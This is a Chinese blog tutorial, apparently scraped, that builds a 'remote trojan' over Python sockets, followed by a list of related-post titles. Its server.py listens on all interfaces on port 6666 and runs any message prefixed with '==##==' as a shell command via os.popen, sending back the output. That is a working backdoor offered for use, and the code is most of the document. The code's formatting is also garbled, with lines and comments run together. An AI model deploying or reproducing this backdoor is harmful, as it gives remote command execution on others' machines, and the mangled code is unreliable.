基于Socket实现远程木马
目录
一、实现Socket完整交互
1.server.py
2.client.py
3.执行结果
二、实现Socket远程木马
一、实现Socket完整交互
1.server.py
2.client.py
3.执行结果
.
二、实现Socket远程木马
server.py
import os, socket# def normal_talk():
# s = socket.socket()
# # s.bind(('127.0.0.1', 6666)) # 只允许本设备访问
# s.bind(('0.0.0.0', 6666)) # 所有IP地址均可以访问6666端口
# s.listen()
# chanel, client = s.accept() # 无法接受多个客户端
# while True:
# # chanel, client = s.accept() # 此时accept()会进入阻塞状态
# receive = chanel.recv(1024).decode()
#
# print(f"收到消息:{receive}")
# reply = receive.replace("吗?", "!")
# chanel.send(reply.encode())# s.close() # 在死循环之后的代码,不可执行# 核心思路:客户端发送一条特殊字符串,里面包含要执行的命令,让服务器端执行命令并返回结果给客户端
def attack_talk():try:s = socket.socket()s.bind(('0.0.0.0', 6666))s.listen()chanel, client = s.accept()while True:receive = chanel.recv(1024).decode()# ==##==,commandif receive.startswith('==##=='):command = receive.split(',')[-1]reply = os.popen(command).read()chanel.send(f"命令{command}的运行结果:\n{reply}".encode())else:print(f"收到消息:{receive}")reply = receive.replace("吗?", "!")chanel.send(reply.encode())except:s.close()attack_talk()
#
if __name__ == '__main__':# normal_talk()attack_talk()
client.py
import sockets = socket.socket()
# s.connect(('127.0.0.1', 6666))
s.connect(('127.0.0.1', 6666))
while True:message = input("请输入消息:")s.send(message.encode())receive = s.recv(10240)print(f"服务器回复:{receive.decode()}")
基于Socket实现远程木马相关推荐
- socket recv 服务端阻塞 python_网络编程(基于socket编程)
网络编程(基于socket编程) socket套接字:应用程序通常通过socket"套接字"向网络发送请求或应答网络请求,是主机间或同一计算机中的进程间相互通讯 socket是介于 ...
- 工业计算机远程控制,基于SOCKET技术的计算机远程控制实现
摘要:时至今日,计算机网络已经成为了人类社会生活中必不可少的组成部分,其中计算机的远程控制系统更是为整个社会的进步起到推动作用.除了在工业自动化生产之外,计算机远程控制系统还广泛的应用于办公.技术支持 ...
- python实现简易聊天需要登录博客园zip下载_Python基于Socket实现简易多人聊天室的示例代码...
前言 套接字(Sockets)是双向通信信道的端点. 套接字可以在一个进程内,在同一机器上的进程之间,或者在不同主机的进程之间进行通信,主机可以是任何一台有连接互联网的机器. 套接字可以通过多种不同的 ...
- 基于Socket实现客户端与服务端通讯
基于Socket实现客户端与服务端通讯 socket 概述 Socket,套接字就是两台主机之间逻辑连接的端点.TCP/IP协议是传输层协议,主要解决数据如何 在网络中传输,而HTTP是应用层协议,主 ...
- 远程桌面监控系统java_基于Java的远程桌面监控源代码
<基于Java的远程桌面监控源代码>由会员分享,可在线阅读,更多相关<基于Java的远程桌面监控源代码(43页珍藏版)>请在人人文库网上搜索. 1.基于Java的远程桌面监控源 ...
- 基于ARM的远程视频监控系统的设计
http://www.21ic.com/app/mcu/201208/135975.htm 摘要:在ARM 微处理器平台上移植嵌入式Linux 操作系统,完成视频采集任务,并以服务器方式将图像发送到网 ...
- 【Java】GUI界面聊天小程序(基于Socket的客户端服务端通信)
基于Socket的客户端服务端通信--Java GUI界面小程序 Socket概念及其通信过程: Socket是TCP/IP中的基本概念,它负责将TCP/IP包发送到指定的IP地址.也可以看成是在两个 ...
- android 远程控制服务,基于Android的远程控制系统
摘 要 远程控制可以实现远程操作服务端设备,达到远距离完成计算机作业的目的.本文所描述的系统便是一种远控系统,该系统在点对点模式的基础上,利用局域网建立手机和电脑端的连接,让手机模拟鼠标功能,远程操作 ...
- ios视频通话三方_iOS基于Socket.io即时通讯IM实现,WebRTC实现视频通话
Socket.io-FLSocketIM-iOS 基于Socket.io iOS即时通讯客户端 iOS IM Client based on Socket.io 实现功能 文本发送 图片发送(从相册选 ...
最新文章
- AI实验室•西安站 教你用人脸识别打造爆款应用
- Docker学习(8)——构建镜像(Dockerfile、commit)
- SQL获取所有数据库名、表名、储存过程以及参数列表
- 两机五节点电力系统的潮流仿真计算_南科大杨再跃课题组在电力系统、机器学习等领域取得重要研究成果...
- jax-ws实现WebService
- mysql(四)log
- PHP大势已去,PHP宝藏可为我所用
- 使用c++查看linux服务器某个进程正在使用的内存_精选20个常用的Linux命令
- PowerEdge服务器生命周期控制器:Lifecycle Controller
- android fragment实例化,Android使得Fragment 切换时不重新实例化
- 动态数组 —— 框架搭建
- 美国德尔里奥市遭遇勒索软件***,政府工作人员重回纸笔办公
- html 语音识别输入法,9种外语语音识别 搜狗输入法成国内支持语种最多输入法...
- 关于LCR表和万用表测电容容值不一样的怪事
- C++17 关键新特性介绍及代码讲解 (6) — fold expression
- 强制退出程序的六种方法!
- 《Fundamentals of Computer Grahpics》虎书第三版翻译——第四章 光线追踪
- 给CS专业大学生的推荐书籍
- BZOJ P1856 字符串
- python entry如何清空_如何清除tkinter中来自Entry小部件的以前输入?